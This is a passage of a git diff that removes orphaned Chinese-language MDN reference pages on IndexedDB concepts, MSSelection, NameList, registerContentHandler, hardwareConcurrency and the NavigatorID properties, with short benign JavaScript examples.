<dt>值(value)</dt> - <dd>每条记录包含一个值,该值可以包含任何 JavaScript 表达式,包括:<a href="/zh-cn/JavaScript/Reference/Global_Objects/Boolean">布尔</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Number">数字</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/String">字符串</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Date">日期</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Object">对象</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/Array">数组</a>、<a href="/zh-cn/JavaScript/Reference/Global_Objects/RegExp">正则</a>、<a href="/zh-CN/docs/">未定义</a>和 null。</dd> - <dd> - <p>对于对象和数组,它们的属性和值也可以是任意合法的值。</p> - - <p><a href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">规范</a>允许你存储文件和<a href="/zh-cn/DOM/Blob">二进制对象</a>,但该标准只被 Firefox 11+ 实现。</p> - </dd> -</dl> - -<h3 id="范围和作用域">范围和作用域</h3> - -<dl> - <dt>作用域(scope)</dt> - <dd>事务所作用的一组对象仓库或索引。只读事务的作用域可以相互重叠并同时执行操作。但写操作事务的作用域不可以相互重叠。但你仍然可以同时开启多个拥有相同作用域的事务,只要保证他们的操作不会同时执行。</dd> - <dt>游标(cursor)</dt> - <dd>在键的某个范围内迭代查询多条记录的机制。游标有一个指向正在被迭代的对象仓库或索引的源。它处于该范围内的一个位置,并按照键的顺序正向或逆向的移动。有关游标的参考文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBCursor">IDBCursor</a> 或 <a href="../../../../zh-cn/IndexedDB/IDBCursorSync">IDBCursorSync</a>。</dd> - <dt>键范围(key range)</dt> - <dd>用做键的数据类型上的连续的间隔。使用键或键的某个范围可以从对象仓库和索引中读取记录。你可以通过上限和下限设置和筛选范围。比如,你可以遍历 x 和 y 之间所有的键值。</dd> - <dd>有关键范围的参考文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBKeyRange">IDBKeyRange</a>.</dd> -</dl> - -<h2 id="局限性">局限性</h2> - -<p>以下情况不适合使用IndexedDB</p> - -<ul> - <li>全球多种语言混合存储。国际化支持不好。需要自己处理。</li> - <li>和服务器端数据库同步。你得自己写同步代码。</li> - <li>全文搜索。IndexedDB 接口没有类似 SQL 语句中 <code>LIKE</code> 的功能。</li> -</ul> - -<p>注意,在以下情况下,数据库可能被清除:</p> - -<ul> - <li>用户请求清除数据。</li> - <li>浏览器处于隐私模式。最后退出浏览器的时候,数据会被清除。</li> - <li>硬盘等存储设备的容量到限。</li> - <li>数据损坏。</li> - <li>进行与特性不兼容的操作。</li> -</ul> - -<p>确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。</p> - -<h2 id="下一步">下一步</h2> - -<p>查看如何使用的文档: <a href="/zh-cn/IndexedDB/Using_IndexedDB">Using IndexedDB</a>.</p> - -<h2 id="相关文章">相关文章</h2> - -<ul> - <li>{{ spec("http://www.w3.org/TR/IndexedDB/", "Indexed Database API Specification", "WD") }}</li> - <li><a href="/zh-cn/IndexedDB">IndexedDB API Reference</a></li> - <li><a href="/zh-cn/IndexedDB/Using_IndexedDB">Using IndexedDB</a></li> - <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/msselection/index.html b/files/zh-cn/orphaned/web/api/msselection/index.html deleted file mode 100644 index ecbd8817e3..0000000000 --- a/files/zh-cn/orphaned/web/api/msselection/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: MSSelection -slug: orphaned/Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection -original_slug: Web/API/MSSelection ---- -<div>{{ ApiRef("DOM") }}{{Non-standard_Header}}</div> - -<div class="blockIndicator warning"> -<p><strong>IE Only</strong></p> -该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。</div> - -<p><code>MSSelection</code> 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。</p> - -<p>该接口从IE4开始实现,但直到IE9时添加了对标准 <code>Selection</code> 接口的支持时,为了区分它才被命名为 <code>MSSelection</code>。可供修改和使用的 <code>MSSelection</code> 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。</p> - -<p>注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。</p> - -<h2 id="Properties" name="Properties">属性</h2> - -<dl> - <dt>{{domxref("MSSelection.type")}}{{ReadOnlyInline}}</dt> - <dd> - <p>返回选中区域的类型。</p> - </dd> -</dl> - -<h2 id="Methods" name="Methods">方法</h2> - -<dl> - <dt>{{domxref("MSSelection.empty()")}}</dt> - <dd>取消当前选中区,将选中区类型设置为 <code>none</code>。</dd> - <dt>{{domxref("MSSelection.clear()")}}</dt> - <dd>清除选中区的内容,将选中区类型设置为 <code>none</code>。注意,该方法可以删除不可编辑的元素。</dd> - <dt>{{domxref("MSSelection.createRange()")}}</dt> - <dd>在当前选中区上创建并返回一个 <code>TextRange</code>,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。</dd> - <dt>{{domxref("MSSelection.createRangeCollection()")}}</dt> - <dd>返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 <code>TextRange</code>。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<p>以下示例在<strong>IE10以下</strong>有效。该示例通过 <code>document.selection</code> 获取 <code>MSSelection</code> 对象,并清空选区中的内容。</p> - -<pre class="brush:js">var sel = document.selection; -sel.clear();</pre> - -<h2 id="开发者笔记">开发者笔记</h2> - -<h3 id="使用_TextRange_操作选中区域">使用 TextRange 操作选中区域</h3> - -<div class="blockIndicator warning"> -<p>仅在<strong>IE9以下</strong>有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。</p> -</div> - -<p>{{domxref("document.selection")}} 属性返回一个 <code>MSSelection</code> 对象,<code>selection.createRange()</code> 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。</p> - -<pre class="brush:js">var sel = document.selection; -var range = sel.createRange(); -alert(range.text); -// 输出被选区域的纯文本</pre> - -<p>注意,<code>createRange</code> 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 <code>TextRange.select</code> 方法。</p> - -<h3 id="selection_兼容性"><code>selection</code> 兼容性</h3> - -<p><code>document.selection</code> 属性返回当前文档的 <code>MSSelection</code> 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 <kbd>Ctrl</kbd> 选中多个区域;IE中一般也只允许文档只存在一个被选中的 <code>TextRange</code>。</p> - -<p>然而,在其它浏览器中,<code>document</code> 并不存在一个所谓 <code>selection</code> 属性——它们通过标准 <a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 实现对选区的操作,也就是通过 <code>window.getSelection()</code> 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 <code>document.selection</code> 对象而转为使用标准接口(尽管 <code>TextRange</code> 一直保留,但大多数情况下它已失去作用)。</p> - -<p>这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 <code>MSSelection</code> 方式,但不要把该方式作为唯一的选择。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row" style="width: 15px;"></th> - <th scope="col">IE</th> - <th scope="col">其它浏览器</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row" style="width: 15%;">{{domxref("MSSelection")}} {{non-standard_inline()}}</th> - <td>≤10(IE9后应使用标准API)</td> - <td style="width: 60%;">不支持(详见<a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a>)</td> - </tr> - </tbody> -</table> - -<h2 id="See_also" name="See_also">扩展</h2> - -<ul> - <li>{{domxref("TextRange")}} 接口</li> - <li>{{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口</li> - <li><a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 用于取代该非标准接口</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/namelist/index.html b/files/zh-cn/orphaned/web/api/namelist/index.html deleted file mode 100644 index 9e2ad5d9f4..0000000000 --- a/files/zh-cn/orphaned/web/api/namelist/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: NameList -slug: orphaned/Web/API/NameList -translation_of: Web/API/NameList -original_slug: Web/API/NameList ---- -<p>{{APIRef("DOM")}}{{ obsolete_header("10.0") }}</p> - -<div class="note"> -<p><strong>Note:</strong> 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。</p> -</div> - -<p>提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("NameList.length")}}{{readonlyInline}}</dt> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("NameList.contains()")}}</dt> - <dd>返回{{jsxref("Boolean")}}.</dd> - <dt>{{domxref("NameList.containsNS()")}}</dt> - <dd>返回 {{jsxref("Boolean")}}</dd> - <dt>{{domxref("NameList.getName()")}}</dt> - <dd>返回{{domxref("DOMString")}}</dd> - <dt>{{domxref("NameList.getNamespaceURI()")}}</dt> - <dd>返回 {{domxref("DOMString")}}</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html b/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html deleted file mode 100644 index a266c55bfb..0000000000 --- a/files/zh-cn/orphaned/web/api/navigator/registercontenthandler/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Navigator.registerContentHandler() -slug: orphaned/Web/API/Navigator/registerContentHandler -translation_of: Web/API/Navigator/registerContentHandler -original_slug: Web/API/Navigator/registerContentHandler ---- -<div>{{ ApiRef("HTML DOM") }}</div> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>Allows web sites to register themselves as possible handlers for content of a particular MIME type.</p> - -<p>{{ Note("Web sites may only register content handlers for themselves. For security reasons, it\'s not possible for an extension or web site to register content handlers targeting other sites.") }}</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="brush: js">window.navigator.registerContentHandler(<em>mimeType</em>, <em>uri</em>, <em>title</em>); -</pre> - -<ul> - <li><code>mimeType</code> is the desired MIME type as a string.</li> - <li><code>uri</code> is the URI to the handler as a string.</li> - <li><code>title</code> is the title of the handler presented to the user as a string.</li> -</ul> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="brush: js">navigator.registerContentHandler("application/vnd.mozilla.maybe.feed", - "<span class="plain">http://www.example.tld/?foo=%s</span>", - "My Feed Reader"); -</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>For <a href="/zh-cn/Firefox_2_for_developers" title="zh-cn/Firefox_2_for_developers">Firefox 2</a> and above, only the <code>application/vnd.mozilla.maybe.feed</code>, <code>application/atom+xml</code>, and <code>application/rss+xml</code> MIME types are supported. All values have the same effect, and the registered handler will receive feeds in all Atom and RSS versions (see {{ Bug("391286") }}).</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>WHATWG's <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#custom-handlers">Web Applications 1.0 工作草案</a></p> - -<h3 id="相关链接">相关链接</h3> - -<ul> - <li><a href="/zh-cn/Web-based_protocol_handlers" title="zh-cn/Web-based_protocol_handlers">Web-based protocol handlers</a></li> - <li><a href="/zh-cn/nsIContentHandler" title="zh-cn/nsIContentHandler">nsIContentHandler</a> (XUL only)</li> -</ul> - -<p>{{ languages( { "ja": "ja/DOM/window.navigator.registerContentHandler", "en": "en/DOM/window.navigator.registerContentHandler", "pl": "pl/DOM/window.navigator.registerContentHandler" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html deleted file mode 100644 index 84cb1f561a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: navigator.hardwareConcurrency -slug: orphaned/Web/API/NavigatorConcurrentHardware/hardwareConcurrency -translation_of: Web/API/NavigatorConcurrentHardware/hardwareConcurrency -original_slug: Web/API/NavigatorConcurrentHardware/hardwareConcurrency ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>{{AvailableInWorkers}}</p> - -<p><code><strong>navigator.hardwareConcurrency </strong>指明当前浏览器环境所拥有的CPU核心数,这来自于操作系统提供的API来获取。</code></p> - -<h2 id="用法">用法</h2> - -<pre class="syntaxbox"><em>CPU核心数</em>= window.navigator.hardwareConcurrency -</pre> - -<h2 id="Value">Value</h2> - -<p>A {{jsxref("Number")}} indicating the number of logical processor cores.</p> - -<p>Modern computers have multiple physical processor cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may offer eight <strong>logical processor cores</strong>, for example. The number of logical processor cores can be used to measure the number of threads which can effectively be run at once without them having to context switch.</p> - -<p>The browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once, so don't treat this as an absolute measurement of the number of cores in the user's system.</p> - -<h2 id="Examples">Examples</h2> - -<p>In this example, one {{domxref("Worker")}} is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a Boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use. This creates a pool of workers we can use to process requests later.</p> - -<pre class="brush: js">let workerList = []; - -for (let i = 0; i < window.navigator.hardwareConcurrency; i++) { - let newWorker = { - worker: new Worker('cpuworker.js'), - inUse: false - }; - workerList.push(newWorker); -}</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("api.NavigatorConcurrentHardware.hardwareConcurrency")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html b/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html deleted file mode 100644 index 43e5ae1965..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorconcurrenthardware/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: NavigatorConcurrentHardware -slug: orphaned/Web/API/NavigatorConcurrentHardware -tags: - - API - - Concurrency - - HTML DOM - - Interface - - Navigator - - NavigatorCPU - - NavigatorConcurrentHardware - - NeedsBrowserCompatibility - - NeedsTranslation - - Reference - - Threading - - Threads - - TopicStub - - WorkerNavigator - - Workers -translation_of: Web/API/NavigatorConcurrentHardware -original_slug: Web/API/NavigatorConcurrentHardware ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p>The <strong><code>NavigatorConcurrentHardware</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} interface features which allow Web content to determine how many logical processors the user has available, in order to let content and Web apps optimize their operations to best take advantage of the user's CPU.</p> - -<p>{{AvailableInWorkers}}</p> - -<p>The number of <strong>logical processor cores</strong> is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may return 8. The browser may, however, choose to reduce the number in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyinline}}</dt> - <dd>Returns the number of logical processors which may be available to the user agent. This value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorConcurrentHardware</code></em><em> mixin has no methods.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.NavigatorConcurrentHardware")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("WorkerNavigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html deleted file mode 100644 index 5545fedd6a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appcodename/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: NavigatorID.appCodeName -slug: orphaned/Web/API/NavigatorID/appCodeName -translation_of: Web/API/NavigatorID/appCodeName -original_slug: Web/API/NavigatorID/appCodeName ---- -<p>{{ ApiRef() }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>返回所使用浏览器的内部名称.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval">codeName = window.navigator.appCodeName -</pre> - -<h3 id="Parameters" name="Parameters">参数</h3> - -<ul> - <li><code>codeName</code> 是一个字符串,表示浏览器内部名称.</li> -</ul> - -<h3 id="Example" name="Example">例子</h3> - -<pre>dump(window.navigator.appCodeName); -</pre> - -<h3 id="Notes" name="Notes">笔记</h3> - -<p>Mozilla, Netscape 6, 和 IE5 的内部名称都是 "Mozilla".</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<p>{{ DOM0() }}</p> - -<p>{{ languages( { "en": "en/DOM/window.navigator.appCodeName","ja": "ja/DOM/window.navigator.appCodeName", "pl": "pl/DOM/window.navigator.appCodeName" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html deleted file mode 100644 index 14a1d147b3..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appname/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: NavigatorID.appName -slug: orphaned/Web/API/NavigatorID/appName -translation_of: Web/API/NavigatorID/appName -original_slug: Web/API/NavigatorID/appName ---- -<p>{{ ApiRef() }}</p> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回所使用浏览器的名称。由于兼容性问题,HTML5 规范允许该属性返回 "Netscape" 。</p> - -<div class="note"><strong>注意:</strong>该属性并不一定能返回正确的浏览器名称。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器名称都是 "Netscape".</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval">appName = window.navigator.appName -</pre> - -<h3 id="Parameters" name="Parameters">返回值</h3> - -<ul> - <li><code>appName</code> 是一个字符串,表示浏览器名称</li> -</ul> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">alert(window.navigator.appName); -// 显示浏览器名称 -</pre> - -<h2 id="Specification" name="Specification">规范</h2> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性起初属于 DOM Level 0 ,目前已经被添加到HTML5规范中。</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html b/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html deleted file mode 100644 index a56fdd8216..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/appversion/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: NavigatorID.appVersion -slug: orphaned/Web/API/NavigatorID/appVersion -translation_of: Web/API/NavigatorID/appVersion -original_slug: Web/API/NavigatorID/appVersion ---- -<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p> - -<h2 id="Summary" name="Summary">概述</h2> - -<p>返回一个字符串,表示所使用浏览器的版本号。它可能只包含一个版本数字,如 "5.0",还可能包含一些其他的相关信息。由于兼容性问题,HTML5规范允许该属性返回 "4.0"。</p> - -<div class="note"><strong>注意:</strong>该属性并不一定能返回正确的浏览器版本号。在基于 Gecko 的浏览器 (例如 Firefox)和基于 WebKit 的浏览器(例如 Chrome 和 Safari)中,返回的浏览器版本号都是 "5.0",后跟一些操作系统与语言信息,比如 "5.0 (Windows; zh-CN)"。在Opera 10及以上版本,该属性的返回值也不是实际的浏览器版本号。</div> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="eval">ver = window.navigator.appVersion -</pre> - -<h3 id="Parameters" name="Parameters">返回值</h3> - -<ul> - <li><code>ver</code> 是一个字符串,表示浏览器版本号。</li> -</ul> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush: js">alert("你的浏览器版本为" + navigator.appVersion); -</pre> - -<h2 id="Notes" name="Notes">备注</h2> - -<p><code>window.navigator.userAgent</code> 也包含一些浏览器的版本信息(比如:"<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1</code>"),但是你应该知道,修改浏览器的<code>userAgent字符串以及伪造它成为其他的浏览器、其他的操作系统等等是非常容易的。</code>而且,就算不伪造,浏览器提供商也不会保证这些数据就是准确的。</p> - -<p><code>window.navigator.appVersion</code>、<code>window.navigator.appName</code> 和 <code>window.navigator.userAgent </code>等属性都被用来编写一些"浏览器检测"的相关代码:脚本会尝试根据检测出的浏览器类型来相印的调整页面显示。种情况下,用户可以伪造相关的浏览器信息来查看一些本来不允许自己所使用的浏览器或平台查看的页面。</p> - -<h2 id="Specification" name="Specification">规范</h2> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性最初属于 DOM Level 0,目前已经被添加到 HTML5 规范中。</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/index.html b/files/zh-cn/orphaned/web/api/navigatorid/index.html deleted file mode 100644 index 71bf69349a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: NavigatorID -slug: orphaned/Web/API/NavigatorID -translation_of: Web/API/NavigatorID -original_slug: Web/API/NavigatorID ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorID</strong></code> 接口包含浏览器识别相关的方法和属性。</p> - -<p>没有一个 <code>NavigatorID</code> 类型的对象,他是其他接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}} 实现了该接口。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorID</code></em><em> 接口没有继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>任何浏览器中,总是返回 <code>'Gecko'</code>。该属性仅仅是为了保持兼容性。</dd> - <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}</dt> - <dd>返回浏览器的官方名称。不要指望该属性返回正确的值。</dd> - <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}</dt> - <dd>返回一个字符串,表示浏览器的版本。不要指望该属性返回正确的值。</dd> - <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}</dt> - <dd>返回一个字符串,表示浏览器的所在系统平台。</dd> - <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}}</dt> - <dd>返回当前浏览器的产品名称(如,"Gecko")。</dd> - <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt> - <dd>返回当前浏览器的用户代理字符串(user agent string)。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorID</code></em><em> 接口没有继承任何方法。</em></p> - -<dl> - <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}} {{experimental_inline}}</dt> - <dd>总是返回 <code>false</code>。JavaScript taint/untaint 函数在 JavaScript 1.2 中被移除了。该方法只是为了兼容性。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Added the <code>appCodeName</code> property and the <code>taintEnabled()</code> method, for compatibility purpose.</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>Initial specification.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Navigator")}} 实现了该接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html b/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html deleted file mode 100644 index f1dc21fdea..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/platform/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: NavigatorID.platform -slug: orphaned/Web/API/NavigatorID/platform -translation_of: Web/API/NavigatorID/platform -original_slug: Web/API/NavigatorID/platform ---- -<p>{{ ApiRef() }}</p> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>返回一个字符串,表示浏览器所在的系统平台类型.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval"><em>platform</em> = <em>navigator</em>.platform -</pre> - -<p><code>platform</code> 可能是: "Win32", "Linux i686", "MacPPC", "MacIntel", 等.</p> - -<h3 id="Example" name="Example">例子</h3> - -<pre class="brush: js">alert(navigator.platform);</pre> - -<h3 id="Notes" name="Notes">备注</h3> - -<p>在普通网页中,如果about:config中存在<code>general.platform.override</code><code>项,则</code>该属性的值会返回about:config中<code>general.platform.override项的值.</code> 在特权代码中 (chrome上下文或者拥有"UniversalBrowserRead"特权的网页中),返回的还是真实的平台类型.(译者注:语句:netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead ")用来激活所在网页的UniversalBrowserRead特权.)</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性由DOM Level 0提出, 目前已经被添加到HTML5规范中.</p> - -<p>{{ languages( {"ja": "ja/DOM/window.navigator.platform", "en": "en/DOM/window.navigator.platform", "pl": "pl/DOM/window.navigator.platform" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html b/files/zh-cn/orphaned/web/api/navigatorid/product/index.html deleted file mode 100644 index aae72af9db..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: NavigatorID.product -slug: orphaned/Web/API/NavigatorID/product -translation_of: Web/API/NavigatorID/product 